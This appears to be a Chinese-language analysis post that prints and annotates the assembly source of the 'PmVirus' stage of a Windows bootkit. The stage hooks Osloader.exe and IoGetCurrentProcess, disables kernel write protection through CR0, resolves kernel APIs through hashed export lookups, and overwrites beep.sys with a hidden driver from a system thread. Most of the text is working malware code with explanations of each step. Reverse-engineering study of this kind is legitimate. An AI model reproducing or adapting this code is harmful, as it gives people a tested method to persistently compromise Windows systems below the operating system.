BootKit之PmVirus
sjtujg
PmVirus部分的代码完成的工作很多,所涉及的知识内容也是很多,所以要花较多的篇幅。PmVirus的代码分出许多部分,各部分在不同的时候被调用,但是又依赖于之前执行的代码,所以一开始读的时候会很吃力,现在先来讲一下这部分代码的主要组成部分,然后结合具体代码解释一下。
注:这部分除了参考了GaA_Ra的文章外,还参考了看雪论坛大神V校的文章,下面给出链接:
http://bbs.pediy.com/showthread.php?t=138978
1、对Osloader.exe的hook的内容,在VirusMbr中hook了int13h后,系统调用int13h去读入Osloader.exe时会修改其中的可执行指令使流程转向这部分代码,在这部分代码里完成对Osloader.exe的hook,并且返回Osloader.exe.
2、对IoGetCurrentProcess系统调用进行hook,在之前的对Osloader.exe的hook过程中在内存中搜索到了pe文件ntoskrn.exe的内存偏移地址,并且对其中的系统调用IoGetCurrentProcess用detour技术进行处理,修改第一条可执行语句的前5个字节改成call XXXX,将流程改变至PmVirus代码中的某处继续执行,这就是所谓的Patch-Code,其实所谓的Patch-code分成两部分,一部分在32KB内存划分区中执行掉了,而另一部分在内核用户共享区中去执行(内存地址ffdf0800h处).
3、一个系统线程函数,用来替换beep.sys的.
4、一个工具函数用来搜索各个系统调用在内存中的偏移地址的.
下面是对具体代码的解析
.686p
.mmx
.model flat
seg000 segmentbyte public 'text' use32
assume cs:seg000
assumees:nothing,ss:nothing,ds:nothing,fs:nothing,gs:nothing
dd 0//这就是在VirusMbr中自修改的cs:200h,里面存放的是下面一条指令pushfd的地址
pushfd
pushad
mov edi,[esp+24h] //esp+24h实际上是刚刚存放在堆栈中的eip,指向的是Osloader.exe.
and edi,0FFF00000h //将edi转换成imagebase ptr
cld
mov al,0C7h //从这里以及下面的Module_List_Loop1所做的是搜索一个字节序列40003446c7h
Module_List_Loop1:
scasb
jnz shortModule_List_Loop1
cmp dword ptr[edi],40003446h
jnz shortModule_List_Loop1
mov al,0A1h
Module_List_Loop2: //在找到以上40003446c7h字节序列后继续向下寻找a1 XXXX字节序列,这个XXXX就是BILoaderBlock的地址,a1XXXX对应的汇编语句就是mov eax,XXXX
scasb
jnz shortModule_List_Loop2
//structBILoaderBlock
{
+00h List_Entry;
+08h ??不知道什么东西,不过用不到
+18h image base addr
+1ch module entry point
……..
}
mov esi,[edi] //此处的edi是BILoaderBlock的地址,也就是BILoaderBlock第一个成员List_Entry的地址
mov esi,[esi] //esi此时是list上的第一个节点(链表的头结点).
Lodsd //将链表上的第一个有效节点存入eax中,就是ntoskrn.exe
mov ebx,[eax+18h] //请参照前面struct BILoaderBlock的注释,ebx中现在存放的是ntoskrn.exe的image base addr
call Hook_Func //流程转到代码中标号为Hook_Func的地方去执行
;-----------PatchCode-----------------
Patch_Code:
nop //这四个nop指令使标记,没实际作用,因为涉及到硬编码,所以要在操作码字节中寻找定位什么的。有了标记会方便查找
nop
nop
nop
sub dword ptr[esp],5 //esp里存放的是IoGetCurrentProcess第二条可执行指令的地址,也就是第六个字节的地址,现在将其减5,使其指向了IoGetCurrentProcess的第一条指令处,马上在返回到IoGetCurrentProcess之前将保存好的原来的IoGetCurrentProcess的前5个字节恢复,并且从头开始执行IoGetCurrentProcess.
pushad
mov eax,1 //这里就是之前在VirusMbr中通过自修改的地方CS:23ah,在windows中页表项pte的组成是段基址+标志位,PTE高24位表示页的基地址,低12位是控制位,在VirusMbr中将段基址填入此处,此处原来存在的1是标志位,说明这个内存页是存在于内存之中的
xor ecx,ecx
mov ch,3
mov edx,0C0000000h //0c0000000h是页表首项所在的地址
mov esi,200h
mov edi,0FFDF0800h//ffdf0800h是内核用户共享区的地址,这里所指的地址都是虚拟地址
xchg eax,[edx] //修改页表的第一个表项,这样第一个内存页所对应的物理内存就是我们之前在VirusMbr划分出的32Kb区域。
wbinvd //特权指令禁止cache,要求直接把数据写入内存
rep movsb //从地址200h copy 300h字节到地址0ffdf0800h处,注意这里的虚拟地址经过分页机制的映射已经是32Kb的划分内存中的偏移200h的地方。而ffdf0800是高于80000000h的虚拟地址,所有进程的映射的结果都一样.
mov [edx],eax //恢复页表第一个表项
wbinvd
push 0
push 0F0FFFFF0h
push 0FFDF08a7h //转到虚拟地址0ffdf08a7h的地方继续执行,这时0ffdf0800向后的300字节已经是从内存32KBcopy 过去的PmVirus代码,所以ffdf08a7的代码内容就是PmVirus中偏移为0a7h的代码,就是Patch_Code_Next_Step处的代码.
retn
;--------------------------------------
Hook_Func:
pop esi //执行这条语句之前栈顶是标号Patch-code代码的第一条语句,也就是call Hook_Func的下一条语句的地址,现在将这个地址出栈存入esi寄存器中
mov ecx,38h //因为要把ptach_code至Hook_Func之间的代码复制到ntoskrn.exe image base addr偏移40h处,这个38h就是指这部分代码的长度
mov [esi+1afh],ebx //esi是指向patch-code第一条指令的地址,1afh是一个偏移值,esi+1afh指向了PmVirus代码中标号Search_Func部分的一个dword类型的值处,然后将ebx中存放的ntoskrn.exeimage base addr写入其中,这里再次使用了自修改技术。
lea edi,[ebx+40h] //将ebx+40h的结果赋给edi,现在edi指向ntoskrn.exe的image base addr+40h偏移处,也就是要copypatch-code所到的地方
mov ebp,edi
rep movsb //完成patch-code复制到目标地址ntoskrn.exe镜像基址+40h处
push 0CE8C3177h
call Search_Func //调用Search_Func获得某个系统调用在内存中的偏移地址,这个系统调用名经过处理成为一个4byte的hashvalue,作为参数传给Search_Func返回的地址存放在eax中
xchg eax,esi
sub edi,0Ah //edi此时是指向复制到ntoskrn.exe的patch-code下面的第一个字节处,减去10就是指向了ntoskrn.exe中patch-code代码的某位置(就是push 0f0fffff0h中的0f0fffff0h这个dword值处),下面的movsd指令就将IoGetCurrentProcess的头4个字节复制到patch-code中,注意esi此时经过xchg操作已经存放了IoGetCurrentProcess的在内存中的偏移地址。这里再次使用了自修改技术
movsd
sub edi,6
movsb //这个movsb和movsd的工作差不多,吧IoGetCurrentProcess的第5个字节存到patch-code中去,为了将来流程回到正常的IoGetCurrentProcess使用
mov byte ptr[esi-5],0E8h//现在是修改IoGetCurrentProcess的头5个字节(恰好是第一条指令),改成CallXXXX(也是5个字节,call的操作码e8h,再加上4字节的地址值).注意这个XXXX是一个偏移值,计算方法是用所要跳转的目的地址减去下一条指令的地址
sub ebp,esi //ebp是ntoskrn.exe image base addr+40h,而esi现在是IoGetCurrentProcess的第6个字节,即第二条可执行语句的首字节
mov [esi-4],ebp
popad //恢复现场
popfd //接下来就是完成Osloader.exe被修改的指令字节所做的工作
; 8BF0 MOV ESI, EAX
; 85 F6 TEST ESI, ES
; 7421 JZ $+23h
; 80 3D... CMP BYTE PTR [ofs32], imm8
mov esi,eax
test eax,eax
jnz short Done
pushfd
add dword ptr[esp+4],21h //这句完成了JZ$+23h,之前恢复了现场esp+4是esi指向的是CMPBYTE PTR ….这条指令$+23=($+2)+21h,这份$+2就是esi所指向的地址,也就是CMP BYTE PTR …的地址
popfd
Done:
retn //流程返回Osloader.exe中去了,第二级hook结束
;--------------Patch_Code_Next_Step-------
Next_Step:
nop //依然是标记
nop
nop
nop
mov ebp,esp
mov edi,[ebp+28h] //之前在patch-code中将各个寄存器入栈,这时ebp+28h是指向Patch_code_Next_step调用完成后的返回地址,就是IoGetCurrentProcess的第一条指令处(之前有一条subdword ptr [esp],5 将返回地址调整好了).
mov ecx,cr0 //下面是通过设置Cr0的内容去除内存写保护
mov edx,ecx
and ecx,0FFFEFFFFh
mov cr0,ecx
pop eax //下面将之前保存在堆栈中的原来IoGetCurrentProcess的第一条指令(5字节)通过eax中转,写回到内存中IoGetCurrentProcess的开头处(地址就是保存在edi中了)
stosd
pop eax
stosb
mov cr0,edx //恢复内存写保护机制
enter 4,0
push 136e47c7h //调用Search_Func获得PsCreateSystemThread的内存地址,下面会调用这个函数开一个线程
call Search_Func
lea ebx ,[ebp-4]
//下面是PsCreateSystemThread的参数压栈和调用的操作,注意参数是从右到左压栈的PsCreateSystemThread(ebx,,0,0,0,0,ffdf08ebh,0).各个参数的意义请自行翻阅<windows驱动开发技术详解>等资料
push 0h
push 0ffdf08ebh //这个是线程函数的地址,因为此时线程函数也就是start_routine是一起copy到内核用户共享区了,所以函数地址就是ffdf0800+start_routine的偏移,这个偏移是0ebh,是个硬编码,不同的实现对应的值不同,最好自己人工看一下比较靠谱
push 0h
push 0h
push 0h
push 0h
push ebx
call eax
leave
popad
retn //这个retn是回到IoGetCurrentProcess的一开头去执行
;--------------Start_Routine--------------
pushad
enter 40h,0
CreateFile_Loop:
mov dword ptr[ebp-8],0ffffffffh
mov dword ptr[ebp-0Ch],0fb3b4c00h
push 0cc06cd48h; //KeDelayExecutionThread的hash value
call Search_Func
lea ebx,[ebp-0ch]
push ebx
push 0
push 0
call eax //KeDelayExecutionThread(0,0,&time_interval),time_interval=0fb3b4c00,这个时间间隔代表了一个负数,在这个系统调用中负数时间间隔代表从当前时间算起等待的时间长度,且这个时间间隔是以100ns为单位,这个负数翻译成时间间隔正好是2s,因为下面要打开并且修改系统文件,在这里先等待windows文件系统完成一些必要的工作再说
lea ecx,[ebp-18h]
mov dword ptr[ecx],18h //堆栈单元[ecx]------[ecx+14h]构造了一个ObjectAttributes结构,这个结构马上要作为参数给ZwCreateFile去使用
and dword ptr[ecx+4],0
mov dword ptr[ecx+0Ch],40h
and dword ptr[ecx+10h],0
and dword ptr[ecx+14h],0
mov eax,0ffdf0a30h;---------
mov dword ptr[eax],0ffdf0a34h //给构造的Unicode_Str中的buffer成员去赋值,这个0ffdf0a34就是Unicode_String的实际内容在内存中的地址
mov dword ptr[ecx+8],0ffdf0a2ch //PmVirus代码复制到内核用户共享区后,这个0ffdf0a2ch是Unicode_Len的内存地址,也是Unicode_Str结构的地址,因为ZwCreateFile需要一个Unicode_Str的指针作为参数,初始化这个指针
push 25298a1dh //这是ZwCreateFile函数名的hashvalue
call Search_Func
lea ebx,[ebp-24h]
lea edx,[ebp-20h]
push 0 //现在是将ZwCreateFile所需的参数从右向左压入堆栈
push 0
push 20h
push 5
push 0
push 80h
push 0
push edx //edx指向了iostatusblock结构
push ecx //ecx指向之前构造的ObjectAttributes结构
push 40000000h //打开的权限是Generic_Write
push ebx //ebx指向打开的文件的句柄,之前赋过值
call eax
or eax,eax
jnz CreateFile_Loop//如果打开失败就重新执行文件打开操作,直到打开为止
push 0 //将MmMapIoSpace函数所需的参数压入堆栈
push 2800h
push 0
db 68h
dd 00h //VirusMbr通过自修改技术中修改了这个地方,此时这个dd 00h已经改变成在VirusMbr中划分出的32KB内存区域的地址,cs:379h就是指这里
push 0fce7ee0ch //MmMapIoSpace的函数名hashvalue,因为在线程空间中不能直接使用物理地址,需要把物理地址转化成虚拟地址,之前VirusMbr在内存划分出32KB内存空间时是实模式所以得到的地址是物理地址,现在在这个线程中要使用所以转化一下。MmMapIoSpace将转化后的虚拟地址以eax返回.
call Search_Func
call eax
or eax,eax //如果MmMapIoSpace调用失败会在eax中返回0,如果这样就循环执行打开文件操作直到成功为止
jz CreateFile_Loop
mov ebx,eax
add ebx,600h //ebx此时是之前VirusMbr划分的32KB内存区域的物理地址在此线程空间中对应的虚拟地址,加上600h就是Driver.sys内容的虚拟地址,为何此处可以直接加600h?MmMapIoSpace是将所需要转化的物理地址块的内容copy到一个不分页的系统内存区中,然后将不分页系统内存区的虚拟地址传给线程使用。所以这里不用关心分页的问题。MmMapIoSpace的三个参数代表所需映射的物理内存块的起始物理地址,物理地址块的字节长度,能否cache。
lea ecx,[ebp-20h]
push 7e3acf7h //ZwWriteFile的函数名hash value
call Search_Func
push 0
push 0
push 127ch //欲写入beep.sys的字节数
push ebx
push ecx
push 0
push 0
push 0
push dword ptr[ebp-24h]
call eax //以上工作是调用ZwCreateFile向beep.sys中写入存放在VirusMbr划分出的32Kb内存区中的内容
push 0fd929378h //下面就是关闭文件并退出了
call Search_Func
push dword ptr[ebp-24h]
call eax
leave
popad
retn 4
;---------------Search_Func---------------
//这部分涉及到pe文件的格式,以下的代码是木马中利用内核系统调用的常见方法已经非常成熟了,建议看一下<win32汇编程序设计>(罗云彬著)中的pe文件的相关章节,否则不可能看懂这里的代码,其中涉及到的很多立即数都是pe文件中某些重要成员相对于 pe文件头的偏移量,总的思路就是在ntoskrn.exe遍历输出表,将其中的系统调用名作hash,于传进来的hash value进行比较,如果一样就返回此系统调用在内存中的偏移地址.在计算偏移地址时又涉及到RVA和物理地址的转化等等.
Search_Func:
enter 0,0
xor eax,eax
pushad
mov edx,[ebp+8h]
nop
nop
nop
nop
Saved_Code:
mov ebx,0
mov ecx,[ebx+3ch]
movebp,[ebx+ecx+78h]
add ebp,ebx
mov ecx,[ebp+18h]
mov edi,[ebp+20h]
add edi,ebx
jecxz shortSearch_Done
Search_Name_Loop:
mov esi,[edi]
add esi,ebx
scasd
push edx
Name_Hash_Loop:
lodsb
sub edx,eax
ror edx,7
test eax,eax
jnz shortName_Hash_Loop
test edx,edx
pop edx
loopneSearch_Name_Loop
jnz shortSearch_Done
not ecx
add ecx,[ebp+18h]
mov edx,[ebp+24h]
add edx,ebx
mov ax,[edx+ecx*2]
mov ecx,[ebp+1Ch]
add ecx,ebx
addebx,[ecx+eax*4]
mov[esp+20h-4],ebx
Search_Done:
popad
leave
retn 4
//下面的Unicode_Len和Unicode_Buf合起来其实是构成了Unicode_Str结构,
StructUnicode_Str
{
word length;实际长度(byte为单位)
wordmaxlength;最大长度(byte为单位)
dwordstr_ptr;指向存放unicode string 缓冲区的指针
}
Unicode_Len:
db 4Ah
db 0
db 4Ch
db 0
Unicode_Buf:
db 0
db 0
db 0
db 0
//下面的内容就是一个unicode string 的具体内容\SystemRoot\system32\drivers\beep.sys注意是以null结尾的,并且在unicode string之中每一个字符都是用两个字节去表示
Unicode_Str:
db 5Ch
db 0
db 53h
db 0
db 79h
db 0
db 73h
db 0
db 74h
db 0
db 65h
db 0
db 6Dh
db 0
db 52h
db 0
db 6Fh
db 0
db 6Fh
db 0
db 74h
db 0
db 5Ch
db 0
db 73h
db 0
db 79h
db 0
db 73h
db 0
db 74h
db 0
db 65h
db 0
db 6Dh
db 0
db 33h
db 0
db 32h
db 0
db 5Ch
db 0
db 64h
db 0
db 72h
db 0
db 69h
db 0
db 76h
db 0
db 65h
db 0
db 72h
db 0
db 73h
db 0
db 5Ch
db 0
db 62h
db 0
db 65h
db 0
db 65h
db 0
db 70h
db 0
db 2Eh
db 0
db 73h
db 0
db 79h
db 0
db 73h
db 0
db 0
Uincode_Str_END:
db 0
seg000 ends
end
注:在Search_Func中所需要的参数是将系统调用名转变为一个hash value,具体的算法很简单,简述如下:
以IoGetCurrentProcess为例,首先将一个寄存区初始化为0作为存储结果的地方,例如edx。然后以反序遍历系统调用名字符串,第一个是字符’s’,接下来’s’,’e’,’c’……,每次将上一次得到的结果就是edx的当前值循环左移7bit,再加上此次遍历的字符的值得到edx的新的当前值。最后一次就是rol edx后加上’I’结果就是最终的hash value了。